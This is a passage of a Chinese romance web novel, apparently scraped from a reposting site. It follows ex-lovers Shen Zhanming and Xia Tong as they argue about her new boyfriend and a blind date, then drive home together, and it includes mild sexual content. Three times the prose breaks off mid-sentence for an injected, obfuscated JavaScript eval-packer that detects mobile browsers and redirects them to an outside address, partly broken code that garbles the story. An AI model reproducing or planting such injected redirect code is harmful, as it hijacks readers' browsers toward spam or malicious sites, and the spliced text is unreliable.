沈湛明喝了口温水,“嗯,祝愿你不会有感到腻烦的那一天。” 夏曈冷笑声,“这个就不劳烦你操心了,我们正处于热恋期。” “是吗。” 沈湛明将水杯搁在茶几,发出极轻的清脆碰撞声,“你向我提出分手的前一个月,也说过我们在热恋期。” 夏曈抿唇看他。 沈湛明不闪不避与她对视:“我们的热恋期维持了六年,然后在一个月内被你单方面宣告结束。夏曈,你的热恋期这次能撑多久?” 他的唇被水微微湿润,话语理智又薄情:“你对感情十分挑剔,又变化无常,此刻在我面前说喜欢他,也许待会回家就要考虑与他是否真的合适——他连大学都没读完,还是个被家族长辈溺爱的孩子,你在与他恋爱的过程中包容了他多少,你自己心里清楚,也许你在其中获取一些欢愉,但那是真正的你吗?这种恋爱方式你又能坚持多久?” 他每说一句话,夏曈的脸色就难看一分,最后的问句抛过来,她已经忍不住冷了语气:“你到底想说什么?” 沈湛明态度坦然:“他不适合你。” 夏曈被他气笑:“你以什么身份说这个话?前男友?” “以哥哥的身份。”沈湛明神情平静,“你性格如此,应该找一个足够了解你、对你充分包容的人,而不是一个天真幼稚的、需要你去费心调教的人。每天压抑自己的真实想法,你迟早会觉得疲惫不堪。” 夏曈对他的冷静客观感到愤怒。 而更愤怒的是,她的心思全部被沈湛明说中。 他应该只与谢桁接触过一次,就一针见血挑明了她和谢桁之间存在的问题。 该说沈湛明太聪明,还是太了解她,才能迅速做出如此精准的评价? 夏曈别过脸:“不用你管,我和他挺好的。你少在这里挑拨离间了,我们不会分手。” 沈湛明了然:“拭目以待。” 夏曈哼了声,端起柠檬茶吸了一大口,故意将半融化的冰块咬得嘎吱响。 灯光明亮柔和,清晰照见她唇角周围似有若无的红,沈湛明留意了两眼,不像过敏,倒像是唇釉被抹花了。 她平时颇为注意外在形貌,即便是在无人注意的夜晚,也不会顶着乱掉的妆容出门。茶几上饮料吸管的顶端不见残存的红,排除她吃东西把妆蹭掉的可能。那在什么情况下,她的唇妆才会像此刻一样乱糟糟? 沈湛明收回目光,不再深入去想。 客厅里很吵,综艺节目笑声不断,同时又很安静,因为夏曈和沈湛明之后很久都没发出半点声音,甚至连对视都没有。 当初分手就弄得很不愉快,如今再见面,只能维持两句话的体面,第三句就忍不住挟带怨气,夹枪带棒,恨不得立刻大吵一架,又限于身份,反复告诫自己不可失了冷静,免得被对方看出自己的怨恨与不甘心。 夏曈转移话题:“你不是在二院附近有一套公寓吗,怎么搬来这里?” 沈湛明反问:“这小区哪里不好吗?” “没有不好,但离你工作的地方并不如公寓近。” 沈湛明淡声:“如果挑选住所的条件只有上班方便这一点,那生活未免太乏善可陈。” 夏曈冷笑声,你还知道自己生活没趣味啊。 沈湛明转头看她:“你还有什么想问的?比如我为什么买到与你同一楼层的住房,是不是故意与你做邻居,是不是想寻找机会与你和好。” 夏曈挑眉,下巴扬起:“我可没这么想。” 但你每次被猜到心思时,都是这个心虚又傲娇的表情。 “纯属巧合。我不会无聊到去做前女友的邻居,更没兴趣……”沈湛明的手机铃忽然响起,他低眸看一眼,“为你做第三者。” 他举起手机给她看来电显示。 杜静兰! 夏曈一脸懵,“我妈给你打电话干什么?” “阿姨最近因为给你安排相亲的事,非常上火。”沈湛明低声解释,“她想让我劝你,周末去和那个人见一面。” 夏曈歪着脑袋,一脸问号。 见沈湛明作势接听,她快速道:“喂,你别乱说啊。” 沈湛明不冷不淡看她一眼,按下接听,又点免提,杜女士的声音从听筒里传出来,一如既往的中气十足:“湛明,不忙吧现在?” 沈湛明温声道:“不忙,阿姨您说。” 夏曈听他们这亲密又温和的语气,好像亲母子似的,不由翻了个白眼。 杜静兰确实对这个世交家的儿子颇有好感,他冷静而理智,从小到大无论是学业还是事业都没让父母操过心。相比之下,就衬得夏曈尤其顽劣无忌、难以管教,连相亲这种事还得三番五次安排,愁得她嘴角起泡,偏偏当爹的不管,只会饮茶,她思来想去,只得求助于沈湛明。 “湛明啊,你有时间把相亲见面的事和曈曈说一说,好好劝她,那男孩子条件不错,看了曈曈的照片之后也很喜欢她,这么好的缘分如果错过那就太可惜了。唉,曈曈这孩子还不听话,到现在连人家微信都不加……湛明,你是哥哥,曈曈就听你的,你有空去跟她好好聊一聊……” 夏曈听到这里,眼里闪过一丝讽刺。 是啊,她那时候就听沈湛明的话,原因当然不是大人们以为的“乖巧”,而是她在和沈湛明谈恋爱。 她对恋爱有种天然的新奇感,沈湛明又完全长在她审美上,为了在沈湛明身上获得某种“好处”,她也愿意听他的某些建议和要求。 毕竟,哄哄男朋友也没什么嘛。 可现在不一样了。她和沈湛明已经分手,彼此之间连面都很少见,又何谈“就听他的”? 杜女士这步棋下错了。 夏曈漫不经心地勾着唇角,听沈湛明语气温和地应着。 这场景有些熟悉,仿佛又回到当年她瞒着爸妈出去玩,沈湛明边照顾她边熟练地安抚她爸妈的时候。 夏曈抱着汤圆吸柠檬茶,听她妈唠叨听得直犯困。 这时,杜静兰低声说:“哎,湛明啊,阿姨忽然想到,曈曈这么抵触相亲,会不会是已经有男朋友了?” 夏曈一激灵,猛抬头,正对上沈湛明望过来的目光。 她无声做出口型,同时摇头:没有,没有。 客厅顶灯柔和的光芒倾洒而下,她微启的唇舌嫣然,口腔内还有未融化的冰块,隔着一人的距离,隐约散发出柠檬的冷酸。 沈湛明眸光沉静,视线不动声色从她唇舌处收回,忽视她的暗示,平静道:“我不知道,阿姨,我和曈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469374|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曈很久没有联系过了。” 夏曈一怔。 那边杜静兰又念叨两句,仍将这个重任扔在沈湛明身上。 也不知道,她怎么就这么信任沈湛明。当初沈湛明可也没少包庇夏曈。 挂断电话,沈湛明看向夏曈,淡声道:“你都听到了,去不去相亲,在你。” 夏曈回视他:“在电话里答应得那么好,你不当我妈的说客了吗?” 沈湛明摘掉眼镜,似乎有些疲倦:“我们毕竟很久没联系了,我说服不了你,也很正常。” 夏曈轻笑声,原来在这等着呢。他懒得跟她说那么多,又不好拒绝杜静兰的拜托,于是找了个借口,把自己择出去。 真会置身事外啊。 沈湛明将眼镜搁在茶几,滑了几下手机屏幕,递给夏曈。 夏曈扫了一眼,是他和杜静兰的聊天记录。杜静兰显然对沈湛明极为信任,连相亲对象的照片都直接发给他了。 静了一瞬,沈湛明说:“这个人我认识,还不错。” 夏曈淡声:“哦,不错。” 不错就够了吗?不错就可以和她捆绑一生了吗? 怎么她连那个人的面都没见,周围人就可以替她觉得合适了呢? 夏曈的心里忽然涌上一股烦躁。 沈湛明,他怎么可以如此坦然? 分手半年,他已经能面色平静地跟她说相亲对象的好了吗? 夏曈也搞不清自己心里此刻怎么想,她也知道情侣分手后是该互相安好,互不相欠,彼此体面。可是他们当初也不是和平分手,她心里有气至今没发泄出来,凭什么只有她觉得怨恨和不甘,凭什么沈湛明能做到置身事外? 她伸手指了指屏幕,扬起笑脸:“这个人,和我现在的男朋友比呢?” 她指甲上贴着的俏皮猫爪和蝴蝶结,在灯下泛出柔光,沈湛明垂睫看了两秒,移开目光,淡声道:“我无意比较任何人。” “没关系,我知道答案,你就是觉得我和现在的男朋友不合适嘛。” 夏曈一瞬不转紧盯着他,话语里控制不住带了恶意,“那把这个人和你自己比呢,沈医生,你觉得谁更适合做我的男朋友?” 矜傲清高如他,不稀罕议论别人是非,也必不会承认他在恋爱里的失败。 沈湛明抬眼看她,“夏曈,这并不好玩。” “不好玩吗?”夏曈抿唇笑,“我觉得挺好玩的。你说他不错,那他能做得比当初的你更好吗?” 沈湛明不冷不热:“你期望得到什么回答?把你当初指责我的话,再重述一遍?” 夏曈凝视他良久,终于觉得索然无味。 她坐回去,手指玩着汤圆的毛耳朵,半晌道:“我不觉得有哪句说错了。” 两人分手后还吵过一架,其实也不算吵,只是夏曈的单方面控诉。她指责沈湛明种种不好,说他掌控欲强,管得多,平时没有生活乐趣,没时间陪她出去玩,等等等等,哦,最后还说他被工作榨干,连床上风格都逐渐温吞,再过段时间估计就要养胃了,她才不想和一个养胃的男朋友谈恋爱,及时止损才是上策。 沈湛明听到前面还接受良好,保证以后会多陪她,他不想跟她分手。但听到最后一句脸色直接变了,夏曈从没见过沈湛明那副表情,吓得噤声。连汤圆都察觉氛围不对,缩到沙发角落里卧着。 沈湛明揉了揉青筋暴跳的额角,拧眉沉默良久,才说,是她有次酒后委委屈屈说他其实只有硬件好,其实技术差得要死,她其实一直在迁就他。他这才压着火,竭力对她温柔些,试图慢慢引导。 没想到被她误解成不行。 但夏曈那时决意要分手,沈湛明怎么哄都没用。 再之后,就迎来了她的断崖式分手。 直到今天,沈湛明也不再争辩,他不是会将同一套说辞拿出来反复使用的人。 他看出夏曈当下的这段恋情已经存在毁灭性的问题,他不会逼着她分手,那会激起她的逆反心理。 他只需要轻轻点拨,然后耐心等待。 夏曈低头咬汤圆的毛耳朵,趁机抬眸看了一眼沈湛明。 彼此视线碰撞的瞬间,沈湛明收回目光,丢下一句“早点回去休息”便起身回卧室。 夏曈抬头看他身穿家居服离去的背影,恍然意识到两人现在的处境很微妙。 已经分手的前任,彼此还能不设防地待在同一个空间内,火药味是有点浓的,但没真吵。相处起来,做不到恋爱期的亲密无间,又无法退回到最初的哥妹关系。 怪异得要命,但至少不像去年吃年夜饭时那么尴尬。 夏曈忽然觉得好笑,天底下还有哪对兄妹、哪对情侣,能把关系处得比他们更扭曲? 沈湛明是否也意识到这点? 他似乎有些道德洁癖。毕竟她现在是别人的女朋友,所以无法容忍与她在夜晚待在如此密闭的空间里。 他下了逐客令,又自己到卧室回避。 夏曈低头问汤圆:“沈湛明是个胆小鬼。” 汤圆听不懂,睁大一双乌黑的眼睛看她。 夏曈起身抱胶布,在沈湛明关闭卧室门的瞬间,离开了他那毫无人情味的住宅。 12. 第 12 章 周四,杜静兰给夏曈来电话,要她去参加他们的结婚周年纪念日。 “他们”,指的是夏曈爸妈,和沈湛明爸妈。 俩人的妈,即杜静兰女士、苑菲菲女士,从小就是特别好的闺蜜,好到结婚都选在同一天,纪念日也非要一起过。 不仅如此,还拉着夏曈和沈湛明一起过。 爹妈在那秀恩爱,小辈给他们拍照、当氛围组,时不时还要夸他们好般配好甜蜜,每次都遭老罪了。 杜静兰兴致高昂,要求夏曈必须返家:“妈刚看了票,周六晚上还有高铁。” 夏曈:“不,我舍不得我的猫。” “办托运,”杜静兰的旨意不可忤逆,“要么坐你湛明哥的车回来。” 夏曈耍赖不想去:“你们结婚周年纪念关我什么事呀,你们当初结婚又没请我出席。” 杜静兰笑了声:“甭贫嘴,不回来等我削你。” 部落首领杜女士的耐心仅能维持五分钟,多一秒就原形毕露,最近又沉迷看经典小品,口音染了一股东北味。 以前夏曈大学放假回家,杜女士就是这种态度,刚到家的那几天语气温柔,面带笑容,喂吃喂喝,五天内必然态度大转变,说她神猪转世只会吃。她爸就在一边乐呵呵的笑,怎么就只会吃了,闺女还会睡懒觉呢,瞅瞅都中午了还没起。 夏曈挂断电话,叹息。 不想回去参加周年纪念是次要的,她主要不想再和沈湛明同桌吃饭,更怕杜静兰采取闪电战术,直接把相亲安排在老家,打她个措手不及。 她想问问沈湛明的安排,最好俩人能统一战线,一起抵制爸妈们的恶趣味。她想反抗也要拉着沈湛明垫背,否则沈湛明自己回去,她却不在,岂不是更衬得她不听话? 夏曈自己干坏事无妨,但不能容忍被沈湛明比下去,她在一些小事上,倒是很有自尊心和好胜心。 不过,夏曈料想他工作这么忙,应当不会有时间去陪俩夫妻胡闹。 她翻翻微信,把沈湛明从黑名单里放了出来。 久违了。 自分手后,她就将他拉黑,到如今已经有将近一年。 两秒的迟疑,夏曈点开聊天界面,又点他头像。 沈湛明的头像是一片日出。 只是拍照人的手不稳,光晕稍有模糊,红日曈曈,旁边刺出夏日蓊郁葱翠的玉兰树枝,还有行政楼一角。 无构图,缺乏美感,似乎只是拍照之人一时兴起,随手拍的。 夏曈想,她当初确实是随手拍的。 她为准备期末考试,那天去图书馆临时抱佛脚,刚六点就起床了,路上随手拍了张照片给沈湛明,并配文:这么早就去学习,好努力,被自己感动到哭。奖励待会吃两根淀粉肠。 两地有时差,沈湛明那边大概是凌晨。但他忙于学业,甚少休息,因此回复得还算及时。夏曈走了没多久,路过小南门的时候,就收到他发来的一个微笑表情,并有转账:吃点健康的。 夏曈笑嘻嘻把钱收了,跟他发语音说好呀,亲亲,然后抬头跟烤肠摊的老板说:“老板麻烦多放辣!” 在此之前,沈湛明的头像还是他们家属院的流浪猫。夏曈没想到他后来用这张日出当了头像,一直用到现在。 难道真是她审美突出,以至于他如此认可她的拍照技术,至今都不舍得换? 夏曈被自己的冷笑话逗得直乐,指尖悬停在屏幕上方,敲下几个字,“周末爸妈们结婚纪念日,你回不回葳海”。 觉得不妥,又删掉。 不能直接问,万一沈湛明有时间回去呢? 沈湛明可不会再像以前那样,处处依着她。她不想去,他就陪她一起悍然抗命。 夏曈纠结片刻,手机一震,竟是沈湛明给她回了消息。 ——“?” 夏曈这才注意,她刚才点删除点得太急,竟有一个“周”字没删干净。 然后在熄屏之前将手机丢在沙发,无意触碰发送。 夏曈的借口很敷衍:“没什么,发错人了。” 但沈湛明没再问,也没有新的消息过来。 屏幕逐渐变暗,夏曈思索片刻,决定旁敲侧击:“沈湛明,你周末有时间吗?” 沈湛明这次回复很快,“回葳海。” “……” 所以你一个将要奔三的成年人,总掺和长辈们的结婚纪念日干什么? 夏曈腹诽不止。 沈湛明仿佛能猜出她此刻想法,消息又至:“我妈上半年刚做了手术,她现在很喜欢热闹。” 这事夏曈完全不知道,因此吓了一跳:“怎么回事?严重吗?” “微创手术,”沈湛明简短回复,“长了两个纤维瘤,良性。” 夏曈不太熟悉这些,但听到是良性,才勉强放心,有些歉疚道:“不好意思啊,我该去看望她的。” 苑菲菲女士在她心里就是那种漂亮又温柔的邻家阿姨,喜欢穿各种各样的花裙子,乌黑长发挽在脑后,外套兜里随时能变出糖果。 小时候爸妈加班不在家,她就会去苑菲菲那里蹭饭。苑菲菲平时做了好吃的,也会专门准备一份,派沈湛明送给她,俨然把她当成自家女儿。 沈湛明安慰道:“小手术,她自己也没当回事,所以谁也没告诉。连杜阿姨也不知道。” 杜静兰退休后跟人合作,办了个艺考培训机构,每日忙得脚不沾地。苑菲菲不说,她自然也不知情。 夏曈听到这里,便觉得无论如何得回去看望苑菲菲,问道:“你打算怎么回去。” “开车。汤圆离不开人,跟我一起回。” 从这边市区开车到葳海大概要三、四个小时,夏曈觉得,高铁和自驾其实区别不大,只是她原来不愿在高铁站里又挤又跑的,每次回家就一直让沈湛明开车载她。 她有点纠结是否开口让沈湛明再度载她。 在爸妈们面前,他们至少仍是和谐友爱的兄妹关系,若是殊途,则显得刻意。何况双方父母都是火眼金睛,从前偷偷恋爱时流露出的笑意,尚可理解成自小相识的熟稔与无忧无虑,现下相处别扭又尴尬,笑是笑不出的,但一定会被他们瞧出不对劲。 譬如去年年夜饭,她绞尽脑汁,编了各种说辞,才让杜静兰相信,她和沈湛明只是许久未见有些生疏,而没有闹不愉快。 夏曈这边纠结着,沈湛明的消息发过来:“汤圆在车上待4个小时会很孤单,你如果不忙,可以来陪它吗?” ……她刚想迈步,对面台阶已经递过来了。 该说不说,这就是自小相识的默契吗?她的一切想法,似乎都逃不过沈湛明的掌控。 但话已至此,夏曈哪能跟汤圆狠心呢,只得道:“好吧。” 沈湛明:“周六下午两点。” “好。” 夏曈想了想,又敲下几个字:“看来你不忙。” 回消息这么快。 沈湛明没有否认:“刚做完一台手术,现在不忙。” 也就是说,待会就未必了。 夏曈听懂他的言外之意,又看了眼时间,十二点零六,恰好饭点,于是没再说什么,不打扰他吃午饭。 于是沈湛明没再收到她的消息。 - 周六下午两点,夏曈准时出门,沈湛明已在电梯等候,手里牵着汤圆。 他见夏曈出来,便伸手按下电梯。 夏曈与他对视一眼,没说话,只走过去俯身摸摸汤圆:“小宝宝,怎么又漂亮啦。” 汤圆作为一只成年边牧,兴奋起来能直接扑倒她,她却仍坚持叫小宝宝。沈湛明垂睫看她:“你的猫不跟着一起吗?” 她惜字如金:“不用。” 胶布这逆子昨晚跳上她的洗手台狂拉了坨大的,被夏曈气急败坏打了顿屁股,现在两个人正冷战。 沈湛明眉头轻蹙,似是不赞成,“它自己在家待两天?” “谢桁会过来照顾,我已经跟他说过了。”夏曈咧嘴笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469375|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“家里也有自动猫粮机,放心,饿不到它。” 沈湛明沉默一瞬,“你的门锁,录入了他的指纹。” 夏曈点头,理所当然:“是啊。” 谈恋爱不就这样,谢桁还经常在她这里过夜呢,有什么。 电梯到了,两人走进,沈湛明按下负二,没再说话。 到了地库,沈湛明先给车子后排的汤圆绑安全带,见夏曈也想坐后排,蓦地冷声:“我不是你的司机。坐副驾驶来。” 夏曈疑惑:“我想跟汤圆一起。不是你说我来陪它玩吗?” 沈湛明没作声,只凝视她,无声催促,一双沉静黑瞳在地库昏暗光线里愈显深邃,似有隐怒。 夏曈对于他的忽然反悔和冷淡感到莫名,不过确实没有让他当司机的道理,于是乖乖坐了副驾驶,系好安全带。 她对沈湛明这种眼神其实有点心里犯怵。 沈湛明平时基本都能纵着她,无论她怎么胡闹折腾。可一旦惹他动了真火,夏曈是很难把他哄好的。 那时说“亲亲”也不起作用了,沈湛明会捏着她的脸颊肉一定要她认错,等她把自己做的事乖乖复盘一遍,再丢床上收拾顿狠的,他才能把这页揭过去。 现下,夏曈也想不出到底哪里惹他不高兴,她明明什么都没做。 车子驶出小区,汇入道路上的拥挤车流。 沉默片刻,除了汤圆偶尔的呜呜叫声之外,没有人说话。 夏曈自觉没有再去哄沈湛明的义务,也没在意他此刻是否还在闹莫名的别扭。冬日午后阳光温暖,晒在她身上暖洋洋的很舒适,车子行驶平稳,她又不能探身去和后排的汤圆玩闹,没多久就无聊得打了个哈欠。 沈湛明淡道:“困了就睡一会。” 夏曈笑了声:“你会无聊吗?要不我陪你说会话?” 沈湛明对她的冷幽默不予理会。 夏曈撇撇嘴,直道他无趣,头一歪,很快进入梦乡。 再醒来是因汤圆忽然吠了声。 夏曈没动,仅是缓缓掀起眼帘。她微歪着脑袋,面朝驾驶座的方向,视线里沈湛明的侧影逐渐清晰。 他专注开车,神情平静,镜框的金属边缘闪过一丝冷肃光芒。 夏曈仔细看了眼,还是之前那副。 她以前就偷偷戴过他的眼镜,镜片极薄,但这款镜架要求佩戴者拥有挺拔优越的鼻骨,她是天生的小翘鼻,可爱,但不够高,戴上半分钟镜架就会下滑。 所以很遗憾,她不是这个品牌的受众。 而沈湛明是。 他鼻骨挺拔,能在亲吻的时候压痛她的肌肤,也能在亲吻某处时带给她无上欢愉。 夏曈莫名想到这里,脸颊红红。 沈湛明见她醒了:“饿吗?要不要吃点东西。” 夏曈生怕被他看出那些不健康的想法,毕竟沈湛明对她从里到外都了如指掌,她摸了摸脸,掩饰一般:“太阳晒得我脸都红了。” 沈湛明看她一眼。 夏曈这才说:“还行,不太饿。” 摸出手机,处理了一些消息——主要是谢桁发来的碎碎念。 多年的社畜生活让夏曈开始缺乏耐心,她随口问了问谢桁的情况,发了个蹦跳比心的线条小狗表情包,然后面无表情地退出聊天界面。 打了个哈欠,夏曈慢吞吞地投喂汤圆小零食,又跟它语言不通地聊了两分钟,有来有往,听得沈湛明一头雾水。 夏曈心情大好,哼着歌刷了会儿社交平台,又点开某听书软件:“反正也是闲着,要听小说吗?” 沈湛明没这个爱好,但夏曈只是问,也没征求他意见,因此直接外放。 软件打开后,温柔又机械的女声飘出来,充斥车厢:“这是他第一次给自己过生日呢,苏软软的心里充斥着喜悦,甜甜的蛋糕气息萦绕着她,男人的眉眼深邃而俊朗,望向她的眼神那么霸道、又那么温柔……” 夏曈脸色一变。 这什么玩意儿? 13. 第 13 章 她昨晚明明听的是大女主爽文,怎么忽然变成霸总娇妻了? 诈骗! 夏曈伸手就要关掉,想了想,又收回手。 关什么关,显得她心虚似的,她就喜欢听这些。女人就不能有欲望,不能有消遣吗? 夏曈倚在靠背,姿态放松。她平时还真不看这种风格的小说,长长见识也不错。车厢里没人说话,只有AI声响着:“软软尚未及反应,男人灼热的气息扑面而来,灼烫粗粝的舌探入她口中,狠狠搅动,她像猫儿一样呜咽,猝不及防被男人推入床榻,借着窗外霓虹灯光,男人一个刺入,低声邪笑,小软软,哪里跑——” 夏曈关掉听书。 诡异的沉默在车厢里蔓延。 沈湛明无甚反应,平静望向前路,仿佛什么都没听到。 夏曈脸色微红:“其实我平时也不听这些。” 沈湛明没说话。 “这随机推送的。”夏曈又说,“我刚才没注意,误点了,以为是我昨晚听的那本。” 沈湛明“嗯”了声。 夏曈无奈:“是真的。我昨晚听的是女主穿越到未来世界打丧尸。” “你不需要解释这些,夏曈,”沈湛明淡声道,“这是你的自由。” 夏曈怔了下,闷声:“……嗯。” 这是你的自由。 从前他们恋爱时,沈湛明也说过这句话。 那时她网购一款被影视剧带火的露肩短裙,换上后对着全身镜左照右照,两条皙白修长的腿在灯下莹润如雪,是可以直接去拍写真的漂亮。 只是太短了,短到她仅仅弯腰,就能露出挺翘的弧度。 沈湛明坐在她的床上,看着她一言不发。 夏曈照够了镜子,才察觉到沈湛明异常沉默,于是慢慢钻到他怀里,小声问:“你不喜欢我穿这个吗?” 沈湛明把她抱在腿上,承认:“喜欢。” “那你怎么不高兴,你不想我穿这件裙子出去吗?” 夏曈看出他的想法:“你想让我只穿给你看,对不对?” 沈湛明沉默良久:“对。” 夏曈搂住他脖颈,执拗追问:“那之前我去酒吧玩,你是不是也很生我的气?” 虽然那次沈湛明没表现出什么,但从那以后,夏曈去哪里玩,他都要知道。 “有点,”沈湛明低声,“因为你不在我身边,我就无法确定你是安全的。” 他眼睫轻垂,额前碎发搭在眉骨,冷峻里显出阴郁:“我对那种地方并无偏见,也不会担心你会学坏——说到底什么才叫坏?我只是怕有些人会对你做不好的事情,我是男人,我知道有些男人的想法可以有多肮脏,我只希望你这辈子都不要遇到……让你感到恶心的事。至于去哪里,做什么,都是你的自由,曈曈。” 沈湛明轻拍她的背,像在哄小孩子一般:“在没有危险的前提下,你想做什么都行。我只能保护,而无权限制你。” 话音落,他将下巴搭在她肩膀,脸颊贴上她温热细弱的颈。 那是夏曈首次见到沈湛明脆弱的一面。 她想说点什么,又什么也说不出,这个问题好像无解。以她当时的阅历不足以寻求更好的解决途径。 她只叫了声“哥哥”,纤细手臂用力抱紧他。 - 此时的夏曈,当然不能再做出如此举动。 她调整好心情,语气轻快:“这当然是我的自由,谁也无权干涉。但为了避免尴尬,霸总小白花什么的还是算了。” 沈湛明轻笑声。 服务区到了,夏曈牵汤圆下车活动腿脚。沈湛明没跟着,在车附近打电话,似乎是实习医生的事。 等夏曈带汤圆玩过一圈回来时,沈湛明已经结束通话,正跟一对中年夫妻聊天。 他态度很平和,没怎么说话,但唇角挂着笑。倒是那对夫妻很热切,一直笑着不停说些什么。 夏曈走近了,听他们喊“沈医生”,才知道原来是沈湛明的病人。 那阿姨见夏曈慢吞吞走到沈湛明身后,沈湛明含笑看她一眼,却没阻止,脸上立刻露出八卦的惊喜与兴奋:“哟,沈医生,这就是您女朋友啊?” 夏曈还没来得及吭声,旁边大叔已经笑眯眯打招呼:“沈太太您好。” 阿姨戳了他一下:“瞎叫什么,沈医生没结婚呢。” 大叔:“啊对的对的,我记错了。沈医生是有个女朋友,听说姓夏,还没领证,是不是?” 夏曈:哈? 她扯出一抹略带惊讶的微笑,抬头看沈湛明。 沈湛明淡声:“这是我妹妹。” 那夫妻俩有瞬间的惊讶,旋即恢复自然:“怪不得么,跟沈医生一样好看,这大高个!” 夏曈这次真笑了,开心的,“你们好。” 她不擅长跟陌生人打交道,于是打过招呼便带着汤圆上了车。沈湛明的病人,就让他自己应付去吧。 将要关车门时,沈湛明温和嗓音传来,是对那对夫妻说的:“……有点认生。” “砰”,车门关闭,将一切声音隔绝在外。 车厢内安静异常,夏曈默了瞬,拧开保温杯喝水。 等沈湛明跟那对夫妻告别,上了车,夏曈轻声问:“你没和别人说我们已经分手了么?” 沈湛明系安全带的动作微顿,“我不喜欢和别人讨论私事。当初我们在一起时,我也没跟任何人宣布,不是么。” 是。 夏曈承认。 当初沈湛明的同事之所以知道她的存在,还是因为她有次晚上煮了排骨汤送去给他当宵夜。 凑巧,沈湛明那时在某病房询问情况。她方向感差得很,在住院部楼层里转悠得晕头转向,到处找不到人,问了一圈,最后干脆在护士工作台等待。闻讯的同事不免惊讶:沈医生的女朋友,真的假的?完全没听说过啊! 等沈湛明忙完回来,就见到他的女朋友已经和许护士相谈甚欢了。 夏曈抱着保温壶和他去值班室,他边低头喝汤,边听夏曈和同事说笑,虽精神疲惫,排骨汤也稍咸,但唇角亦不由勾起。等同事出去,夏曈才凑到他脸前,眼睛亮如星星,像发现一个小秘密似的,“你很高兴呀。” “嗯,”沈湛明眼光温柔,“我很高兴,乖乖。” 夏曈闲时会往医院跑,亲自投喂她的大忙人男朋友。沈湛明的同事们因此记住,他有一个姓夏的女朋友,青梅竹马,高挑漂亮。沈医生虽然嘴上不提,但看他眼神就知道他爱得要命。 此时,夏曈虽不爽,却也挑不出沈湛明的错,他本就不是喜欢闲谈的人。是她那时候总去投喂沈湛明,才跟他的同事们混熟的。 于是又问:“刚才的叔叔阿姨是怎么知道你有女朋友的?” 沈湛明回忆:“他们是今年三月底住院,可能那时听人闲聊知道的吧。” “你们还聊这个?” 沈湛明耐心道:“有些长辈喜欢给人说媒,难免会问起。” 夏曈仍不悦:“那他们问你的时候,你怎么不说我们已经分手了?” 这次,沈湛明没作声。 夏曈又问:“还有你的同事,周医生、许护士,我将近一年没去医院找过你,他们不觉得奇怪?他们问起,你也不解释么?任由他们不知情地继续跟病人讲,啊,抱歉,不用麻烦给沈医生介绍女朋友,因为沈医生不是单身,他有一个经常来看望他的、姓夏的女朋友!” 她语气难以抑制的激动,似乎对此感到无法忍受,又有委屈,“沈湛明,你为什么要让他们误会?” 沈湛明沉默良久,才低声说:“因为那时我以为我们只是赌气,不至于真的分手。” 夏曈怔住,“我都和你说过两次分手了。” 沈湛明唇角紧抿,掌着方向盘的手背青筋暴起。 夏曈:“而且我都拉黑你了,去年年夜饭我也没有理过你。即使这样,你也以为我只是在跟你赌气吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469376|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 沈湛明眉心蹙着,声音很低,“夏曈,我们从小时候就在一起,恋爱六年,你会觉得腻,是很正常的。” 夏曈蓦地想起他们分手时的对话,沈湛明坐在沙发上,对她提的“分手”两字感到难以接受,神情甚至发怔,再次确认后,才低声问她,你跟我在一起觉得腻了是吗? 她点头说是,语气斩钉截铁。 思绪被沈湛明的声音拉回:“你想去接触别的人,我没有意见。我只是认为,也许你和别人……待腻了时,还会回头看一眼我。毕竟无论如何,我们在爸妈们面前,都是不可分割的兄妹。” “我就是抱着这种心态,度过这一年的。你说我卑鄙也好,说我无耻也罢,我不否认。你不愿承认我们曾经的关系,也由着你。” 沈湛明语调始终冷静,“但是夏曈,我们永远不可能真正离开对方。” 祖辈、母辈的亲密关系,已经足够将他们捆绑在一起,不得分离。 夏曈扭过脸。 她当然什么都明白。 但是。 “沈湛明,我真讨厌你。” 夏曈的声音很轻,有强自压抑的颤抖。 她故意曲解他的意思,企图让事态回归到纯粹的恋爱纠缠:“你以为我叫你一声哥哥,就这辈子都离不开你,是不是?告诉你,我是个有着健全心智和自立能力的成年人,爱情对我来说仅仅是生活里的乐子,不存在我离不开谁的问题,我离了谁都能活得很好。” 她又将脸扭回去,较劲似的看着沈湛明:“我说的这些话,你信不信?” “信。” 沈湛明退了一步,低声承认,“是我离不开你,曈曈。” 夏曈的眼眶发涩。 她眨眨眼,挥去湿润,抿唇道:“但我已经有男朋友了,你难道要做小三吗?” 沈湛明抬眸看她,眼神抗拒。 “哦,那你没戏了。” 夏曈吸吸鼻子:“开车吧沈湛明,再磨蹭一会儿,到家就天黑了。” 之后的路程,再无人开口。 夏曈随意点开个电台,流行金曲在车内播放不停,一直到他们家属院楼下。 